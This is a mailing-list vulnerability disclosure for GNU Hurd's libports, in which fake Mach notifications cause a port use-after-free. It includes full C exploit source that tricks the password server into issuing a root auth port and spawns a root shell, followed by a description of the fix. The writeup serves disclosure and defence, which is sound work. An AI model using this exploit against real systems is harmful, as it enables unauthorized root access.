From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp1 ([2001:41d0:2:4a6f::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms0.migadu.com with LMTPS id aCw5BT9pgWGeywAAgWs5BA (envelope-from ) for ; Tue, 02 Nov 2021 17:37:19 +0100 Received: from aspmx1.migadu.com ([2001:41d0:2:4a6f::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp1 with LMTPS id oB3OAD9pgWGIcgAAbx9fmQ (envelope-from ) for ; Tue, 02 Nov 2021 16:37:19 +0000 Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id 88EC296B0 for ; Tue, 2 Nov 2021 17:37:18 +0100 (CET) Received: from localhost ([::1]:54030 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1mhwmj-0007Rd-J5 for larch@yhetil.org; Tue, 02 Nov 2021 12:37:17 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]:33130) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1mhwhX-0006Nu-7t; Tue, 02 Nov 2021 12:31:55 -0400 Received: from mail-lj1-x233.google.com ([2a00:1450:4864:20::233]:35767) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1mhwhQ-00043Q-Ie; Tue, 02 Nov 2021 12:31:52 -0400 Received: by mail-lj1-x233.google.com with SMTP id 1so29985846ljv.2; Tue, 02 Nov 2021 09:31:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=y6NvwIXlBRHWY+4UEly8qajEHNGCetsko2J4DVXWszI=; b=UcYjq9PrNvMcn1G2mdIpYY9hsKuGVUB7HnUbkOXYZQzoZwiW8L2wz3N3zPpi/9ZOll taN3WJTiEc/NBRpR4LVqko/A79uAPo5WXxBmQG73c17Qf56Gqq3C8WgYjQOxalAiXQCS U3El1xnwmg8Wuoj60haLBoq+jrSk8xQzoLGYAwkDt2qt2XOMrA3dm7E9f+Y5r3CaxmIg UGUrdMMtTPV5QiTGAs2J5oflrzPucsz6ZT8m6VQ3TaFmPNqYhYjHOYDrzwWbFVDxgU4J 56eMH++z1AFLC5QAmSjyz4D4Okz3UgdVjNK7NGyxu6Iql3SM+PJvRpQ4nOYXz+zpJ1nB 3VJA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=y6NvwIXlBRHWY+4UEly8qajEHNGCetsko2J4DVXWszI=; b=TN1thpuTPYZTSlxsM5N/Kh4htvUDOEZexMjfr8KF7DNn5HdUb8AY8LrgZbVAOc3JuT vjGnR3MkiChk/PxTj48Rh5Vk6UJVRrvHbTnOiBlZ6jel1O03IR4qNgPF95a5Ts/0i4Nj JMuQmMhkuJW5BzslALKqwa3XqgjwTql7JjrXAZv9Bbx9B44+GLUZiNC3md5IlC7VrINp 2w5xyiTtQLVBYiwOjbL6c2wROIynwPSWt3wut1swIqkV1heExGpC/nucjQ7esuc8vvG1 g17qO9pF0sezPlAigBNVDQBSPiMwosrPLUvlRywrpuEox6aQDNE8o4dUfSsPIjjyP9sn R08Q== X-Gm-Message-State: AOAM533jcI9OA7LG3FF6A96lhq6S05nS7UFO1Fe0nnU713bcHP/vq58S xEs8HRCT/c6p2nMNhZdopAGd48IZO1w38RF45b0= X-Google-Smtp-Source: ABdhPJyhZwmT0vG/U1u9cjqJ/AJzyrU88sQP0NFIPPEHQXF2hCX2UnqA2o/H+6tP2BH9sYgn+W8+kw== X-Received: by 2002:a2e:9209:: with SMTP id k9mr41063129ljg.260.1635870703923; Tue, 02 Nov 2021 09:31:43 -0700 (PDT) Received: from badwolf.office.smartdec.ru ([81.23.5.115]) by smtp.googlemail.com with ESMTPSA id w15sm844111ljo.123.2021.11.02.09.31.43 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Tue, 02 Nov 2021 09:31:43 -0700 (PDT) From: Sergey Bugaev To: bug-hurd@gnu.org Subject: [VULN 1/4] Fake notifications Date: Tue, 2 Nov 2021 19:31:18 +0300 Message-Id: <20211102163121.415934-2-bugaevc@gmail.com> X-Mailer: git-send-email 2.33.1 In-Reply-To: <20211102163121.415934-1-bugaevc@gmail.com> References: <20211102163121.415934-1-bugaevc@gmail.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Received-SPF: pass client-ip=2a00:1450:4864:20::233; envelope-from=bugaevc@gmail.com; helo=mail-lj1-x233.google.com X-Spam_score_int: -20 X-Spam_score: -2.1 X-Spam_bar: -- X-Spam_report: (-2.1 / 5.0 requ) BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, RCVD_IN_DNSWL_NONE=-0.0001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001 autolearn=ham autolearn_force=no X-Spam_action: no action X-BeenThere: guix-devel@gnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: "Development of GNU Guix and the GNU System distribution." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Cc: squid3@treenet.co.nz, Sergey Bugaev , debian-hurd@lists.debian.org, samuel.thibault@gnu.org, jlledom@mailfence.com, guix-devel@gnu.org, rbraun@sceen.net Errors-To: guix-devel-bounces+larch=yhetil.org@gnu.org Sender: "Guix-devel" X-Migadu-Flow: FLOW_IN ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1635871038; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references:list-id:list-help: list-unsubscribe:list-subscribe:list-post:dkim-signature; bh=y6NvwIXlBRHWY+4UEly8qajEHNGCetsko2J4DVXWszI=; b=UOlkjPMWct09brzRQysJLPvJzvLqk5cQfnhqEU/EFxAWuUA2CpO4xImPDDAI7v6eWpDprK A/8ws5vQ/pluBAcoyHLpCxip84qGkzbdYAnlRu7HoOa2evYisGPJB2tlN3MxEU1t1c0Vwd 8opP1qAAWXcwjG1FBdVdbhCrMFh1V3YENo2gNoQfGjQ3Lwesbffi1L01QFyKyjJP8Kj0T2 sJDTJT+ixEyQoxNaTfdZeFwmeawqgtpyC1gOUmNft5K4rAUHxzLya+6BKFeqob762glU5R w6kpC9eok9tQE1jVBGc9wO79h2INmHPVdYqfNVGm73c1S38QEi8hWZSSa2spGg== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1635871038; a=rsa-sha256; cv=none; b=QMDWAxBDsbKLJc7kwzz3zQFGdAfXBSR1K9qzK8Sr2bEm5iHOKdl4BfAPW+93gAVWB5hYn0 gA4mabUISyNo3BdFsxIz/Wx6KmKxQDWg2+fP8O7s0R/VZIhZizTKir9Sv1rMhExOksoDzP nXXELKOamNnLRtF50au81n+ArR9D0QU2mxLQox3LZtiYR4g+0ZGJ2i1ppAZdmnJrhll74/ ZKDdgFFSx7uJpIOPMd8xbMI5chg1utd4EIoIkG5vD/YHKPLlJ/EHs9B0uomUb/6jX9eDLx 2YhmwwJgVMywSiXzkNGHGttME86RppyruB+rZeWJlaaW2gK3sZL6TDk3f+GxiQ== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=UcYjq9Pr; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Spam-Score: 3.68 Authentication-Results: aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=UcYjq9Pr; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Queue-Id: 88EC296B0 X-Spam-Score: 3.68 X-Migadu-Scanner: scn0.migadu.com X-TUID: ftAwKIW6eRQ3 Short description ================= libports accepts fake notification messages from any client on any port, which can lead to port use-after-free, which can be exploited for local privilege escalation to get full root access to the system. Background: Mach notifications ============================== The Mach kernel has a mechanism to let a task know when various things happen to ports that it has. Specifically, a task can request to be notified when a specific port dies by using the mach_port_request_notification () RPC, which is documented here [0]. [0]: https://www.gnu.org/software/hurd/gnumach-doc/Request-Notifications.html There are several _variants_, or _flavors_, of notifications. We're interested in two of them: * MACH_NOTIFY_NO_SENDERS (aka no-senders), which a task can request on a receive right that it owns. It will be notified once all the send rights to the port are gone, so there's no one left who could send more messages to the port (assuming we also know that there are no more send-once rights, or don't care about them). This is kind of like receiving EOF on the read end of a Unix pipe once the write end is closed by all the potential writers. * MACH_NOTIFY_DEAD_NAME (aka dead-name), which a task can request on a send or send-once right that it has. It will be notified if the port is destroyed by its owner and the right that the task had turns into a dead name. This is kind of like receiving SIGPIPE/EPIPE when trying to write into the write end of a "broken" Unix pipe (one whose read end has been closed). The notifications are naturally delivered to the task as Mach messages, namely the mach_notify_* () RPCs. It's up to the requesting task to specify where (on which port) it wants the notification delivered. The no-senders notification for a port is typically requested to the port itself, since it's a about a receive right (so it is possible to receive it on the port itself), and also because the no-senders message does not otherwise specify an explicit port name. The dead-name notification cannot be requested to the port itself, so it's typically requested to some other related port. The dead-name notification carries the name of the port that has turned into the dead name. Importantly, it only carries a name as an integer -- not a port right -- since a dead name right carried in a message gets received as MACH_PORT_DEAD (-1), which would be rather useless to the receiver. To prevent potential races between processing the notification and the now-dead name getting deallocated and reused for another right, the dead-name notification "carries" an extra reference to the dead name that the receiving task should deallocate _as if_ the message actually carried a right, not a name. (A cleaner alternative design would be to make this all a userspace concern, i.e. it would be up to userspace to keep an extra reference to the right it wants to get dead-name notifications about. Exercise for the reader: why wouldn't that work?) Background: libports ==================== libports is a core library of the Hurd that wraps the Mach ports API into a higher-level interface. libports is used by most of the Hurd servers (everything except /hurd/startup, I believe). libports lets the program associate any custom data (object) with a receive right, and provides the API to look up the object by the port and the other way around. libports objects (struct port_info-s) are reference counted; once all the references go away, the custom data is cleared and the port right is deallocated. An object can be referenced explicitly (by other objects, perhaps), and in addition libports "factors in" outstanding send rights to the port as another reference to the object. So, an object will be alive as long as there are in-process references to it *or* send rights to its port. To track when send rights to a port disappear, libports requests no-senders notifications for the port, and once a notification arrives, libports automatically decrements the object reference count. libports also provides a wrapper for the dead-name notifications: you call ports_interrupt_self_on_port_death (object, port_name), and libports will request a dead-name notification for the port_name, and cancel your thread if the port dies. This is typically used to cancel waiting RPC implementations (such as a read on a pipe) if the reply port dies. The issue ========= The notification messages are implicitly handled by libports as follows: error_t ports_do_mach_notify_no_senders (struct port_info *pi, mach_port_mscount_t count) { if (!pi) return EOPNOTSUPP; ports_no_senders (pi, count); return 0; } error_t ports_do_mach_notify_dead_name (struct port_info *pi, mach_port_t dead_name) { if (!pi) return EOPNOTSUPP; ports_dead_name (pi, dead_name); /* Drop gratuitous extra reference that the notification creates. */ mach_port_deallocate (mach_task_self (), dead_name); return 0; } where ports_no_senders () and ports_dead_name () are the actual handler functions. The only thing libports checks about the incoming notification messages is that they arrive on some libports-managed port (represented by struct port_info). Which means that ANYONE who has a send right to a libports-managed port can send a fake notification message to it, and libports will happily handle it as if it was a real message coming from the kernel. If one sends a fake no-senders notification, libports will decrement refcount of the object, and likely deallocate it completely, destroying the port. This is a denial-of-service attack: any task that has a send right to a port can trivially cause the receive right to get destroyed, turning the right into a dead name for itself *and for everyone else who had this right*. This would have a catastrophic effect if used on a pager port, for example, since the same pager is shared between everyone who maps the same file. Now, the dead-name notification message only carries the port name (an integer), so we can trick the victim task into believing that any port of our choosing is dead; the attacker task doesn't have to have access to the port. We have to guess the port name in the victim task, which is easy since GNU Mach doesn't do any sort of port name randomization. This is also a denial-of-service attack. But this goes so much further. Since the dead-name notification handler deallocates the "gratuitous" reference to the port (as it should), this turns into a "please deallocate this port name" primitive! And if we send a fake dead-name notification for some port that the task never actually requested a notification for, the handler will do nothing other than deallocating the port, and the rest of the task will *keep thinking it has the port*, and keep trying to use it. A port use-after-free, in pretty much any Hurd server, for any port of our choosing, with 100% reproducibility and no races to win! It's hard to overstate just how cool this is. The exploit =========== A port use-after-free can be exploited pretty much like a regular (memory) use-after-free: the attacker plants a different port in the victim task under the same name, then triggers the use-after-free; the victim uses the attacker's port without realizing it. Planting a port in another task under the just-freed name also turned out to be very easy due to the predictable nature of how GNU Mach allocates port names: Mach seems to always allocate the numerically smallest unused name, so after an "old" name is freed, normally the very first port you send to the victim task will get the desired name. I chose the password server as the target task to attack, primarily because giving out root auth ports is its intended purpose. If we trick it into believing we supply a correct password, we'll get a root auth port. To check the client-supplied password for correctness, the password server fetches the user record using getpwuid_r () which is implemented on top of glibc NSS. The NSS can do a lot of things, but the primary source of user data is reading the /etc/passwd and /etc/shadow files. So my plan was to steal the name used for the root directory port, and get the password server to ask me back about /etc/passwd. Empirically, the password server uses port name 6 for its root directory. So the exploit works like this: * First, query the password server using any (invalid) password. This is just to get it to load the NSS modules before we mess with its root directory port. * Then, ask it to deallocate its port right named 6. * Query it with any password, supplying a send (instead of the usual send-once) right for the reply port. If we're lucky, the reply port is going to get the just freed name 6. * Wait for the password server to respond with a dir_lookup ("etc/passwd") query, instead of the reply to our password query. If it does, this indicates that our exploit has succeeded. * Reply with whatever info we want :) Since the password server will happily give out root access to anyone if the root account can not be found, I simply replaced /etc/passwd with an empty file, namely /dev/null. This way, the exploit doesn't even have to implement any more callbacks. Exploit source code =================== #include #include #include #include #include #include #include #include #include kern_return_t hax_mach_notify_dead_name (mach_port_t port, mach_port_t name) { struct request { mach_msg_header_t header; mach_msg_type_t name_type; mach_port_t name; }; struct request request = { .header = { .msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0), .msgh_remote_port = port, .msgh_local_port = MACH_PORT_NULL, .msgh_id = 72, .msgh_size = sizeof request, }, .name_type = { .msgt_name = MACH_MSG_TYPE_PORT_NAME, .msgt_size = 32, .msgt_number = 1, .msgt_inline = 1, }, .name = name, }; extern kern_return_t mach_msg_send (const mach_msg_header_t *); return mach_msg_send (&request.header); } kern_return_t hax_password_check_user (io_t server, uid_t user, const char *pw, mach_port_t *authn) { mach_msg_return_t ret; mach_port_t reply_port = mig_get_reply_port (); struct pcu_request { mach_msg_header_t header; mach_msg_type_t user_type; uid_t user; mach_msg_type_t pw_type; string_t pw; }; struct pcu_reply { mach_msg_header_t header; mach_msg_type_t ret_code_type; kern_return_t ret_code; mach_msg_type_t authn_type; mach_port_t authn; }; struct dl_request { mach_msg_header_t header; mach_msg_type_t file_name_type; string_t file_name; mach_msg_type_t flags_type; int flags; mach_msg_type_t mode_type; mode_t mode; }; struct dl_reply { mach_msg_header_t header; mach_msg_type_t ret_code_type; kern_return_t ret_code; mach_msg_type_t do_retry_type; retry_type do_retry; mach_msg_type_t retry_name_type; string_t retry_name; mach_msg_type_t result_type; mach_port_t result; }; union { mach_msg_header_t header; struct pcu_request pcu_request; struct pcu_reply pcu_reply; struct dl_request dl_request; struct dl_reply dl_reply; } message; message.pcu_request = (struct pcu_request) { .header = { .msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND), .msgh_remote_port = server, .msgh_local_port = reply_port, .msgh_id = 38000, .msgh_size = sizeof (struct pcu_request), }, .user_type = { .msgt_name = MACH_MSG_TYPE_INTEGER_32, .msgt_size = 32, .msgt_number = 1, .msgt_inline = 1 }, .user = user, .pw_type = { .msgt_name = MACH_MSG_TYPE_STRING_C, .msgt_size = 8, .msgt_number = 1024, .msgt_inline = 1, }, }; strncpy (message.pcu_request.pw, pw, 1024); while (1) { ret = mach_msg (&message.header, MACH_SEND_MSG|MACH_RCV_MSG, message.header.msgh_size, sizeof message, reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret) return ret; if (message.header.msgh_id == 20018) { /* This is dir_lookup (). */ file_t dev_null; dev_null = file_name_lookup ("/dev/null", message.dl_request.flags, message.dl_request.mode); message.dl_reply.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS (MACH_MSG_TYPE_MOVE_SEND_ONCE, 0); message.dl_reply.header.msgh_local_port = MACH_PORT_NULL; message.dl_reply.header.msgh_id = 20118; message.dl_reply.header.msgh_size = sizeof (struct dl_reply); memset (&message.dl_reply.ret_code_type, 0, sizeof (mach_msg_type_t)); message.dl_reply.ret_code_type.msgt_name = MACH_MSG_TYPE_INTEGER_32; message.dl_reply.ret_code_type.msgt_size = 32; message.dl_reply.ret_code_type.msgt_number = 1; message.dl_reply.ret_code_type.msgt_inline = 1; message.dl_reply.ret_code = MACH_PORT_VALID (dev_null) ? 0 : errno; memset (&message.dl_reply.do_retry_type, 0, sizeof (mach_msg_type_t)); message.dl_reply.do_retry_type.msgt_name = MACH_MSG_TYPE_INTEGER_32; message.dl_reply.do_retry_type.msgt_size = 32; message.dl_reply.do_retry_type.msgt_number = 1; message.dl_reply.do_retry_type.msgt_inline = 1; message.dl_reply.do_retry = FS_RETRY_NORMAL; memset (&message.dl_reply.retry_name_type, 0, sizeof (mach_msg_type_t)); message.dl_reply.retry_name_type.msgt_name = MACH_MSG_TYPE_STRING_C; message.dl_reply.retry_name_type.msgt_size = 8; message.dl_reply.retry_name_type.msgt_number = 1024; message.dl_reply.retry_name_type.msgt_inline = 1; memset (message.dl_reply.retry_name, 0, 1024); memset (&message.dl_reply.result_type, 0, sizeof (mach_msg_type_t)); message.dl_reply.result_type.msgt_name = MACH_MSG_TYPE_MOVE_SEND; message.dl_reply.result_type.msgt_size = 32; message.dl_reply.result_type.msgt_number = 1; message.dl_reply.result_type.msgt_inline = 1; message.dl_reply.result = dev_null; continue; } if (message.header.msgh_id != 38100) return MIG_REPLY_MISMATCH; if (message.pcu_reply.ret_code != 0) return message.pcu_reply.ret_code; *authn = message.pcu_reply.authn; return 0; } } int main () { error_t err; file_t password_server; auth_t root_auth; password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0); if (!MACH_PORT_VALID (password_server)) error (1, errno, "failed to open"); /* Start by forcing the password server to load all nss modules. */ password_check_user (password_server, 0, "hax", &root_auth); err = hax_mach_notify_dead_name (password_server, 6); if (err) error (1, err, "failed to notify"); do { err = hax_password_check_user (password_server, 0, "hax", &root_auth); if (err) { error (0, err, "failed to get root auth port"); sleep (1); } } while (err); fprintf (stderr, "Got root auth port :)\n"); err = setauth (root_auth); if (err) error (1, err, "failed to setauth"); execl ("/bin/bash", "/bin/bash", NULL); error (1, errno, "failed to exec bash"); } Notes ===== A similar exploit in OS X was reported by Ian Beer in 2016 (CVE-2016-7661). Once I saw that libports similarly accepts mach_notify_* () on ports exposed to users, I knew which way to dig. There are (or were) other related vulnerabilities in the Hurd. The startup server was always deallocating a client-supplied port [1] (MIG routines are only supposed to take ownership of the resources in the message when they return success) -- a port double-free, which could potentially be escalated to port use-after-free. The memory proxy implementation inside GNU Mach was also vulnerable to fake notification messages, much like libports [2]. [1]: https://git.savannah.gnu.org/cgit/hurd/hurd.git/commit/?id=b011199cf330b90483b312c57f25c90a31f2577b [2]: https://git.savannah.gnu.org/cgit/hurd/gnumach.git/commit/?id=a277e247660a38c5e10c7ddc7916954f8283c8eb It would be harder to exploit port use-after-free vulnerabilities if GNU Mach implemented port name randomization, similarly to how ASLR is used to mitigate exploits based on memory safety issues. How we fixed the vulnerability ============================== We have considered several potential designs to fix the libports notifications issue, and I have actually implemented a few different versions. Here's the design we ended up with. For no-senders notifications, the fix [3] is to treat notifications as *hints*, and check the port status explicitly upon receiving a notification. If the notification is fake and there still are senders to the port, we'll just do nothing. [3]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0011-libports-Treat-no-senders-notifications-as-a-hint.patch For dead-name notifications, while we could similarly check if the name is indeed dead, that doesn't save us from the real trouble: we still need to know whether to deallocate the extra reference (if the notification is coming from the kernel) or not (if it's fake). To cope with this, we now create and use a special designated port ("notify port") for requesting and receiving dead-name notifications. This port is never ever exposed to any clients; only the kernel can send messages to it. Thus, any notification received on this port must be authentic. libports now automatically creates a notify port in each bucket [4], and only accepts dead-name notifications received on this port [5]. There's a new ports_request_dead_name_notification () helper [6] for requesting a notification to the notify port. This actually ends up making code more ergonomic, not less! -- which is something that I'm a little bit proud of, since the previous designs complicated code all over the place quite a bit. [4] https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0012-libports-Create-a-notify_port-in-each-bucket.patch [5]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0025-libports-Only-accept-dead-name-notifications-on-noti.patch [6]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0014-libports-Add-ports_request_dead_name_notification.patch All the Hurd servers and libraries were then updated to use this new libports functionality. In some specific cases where we cannot use libports, we have to carefully think about who can send us fake notifications [7]. [7]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0021-libfshelp-Update-some-comments.patch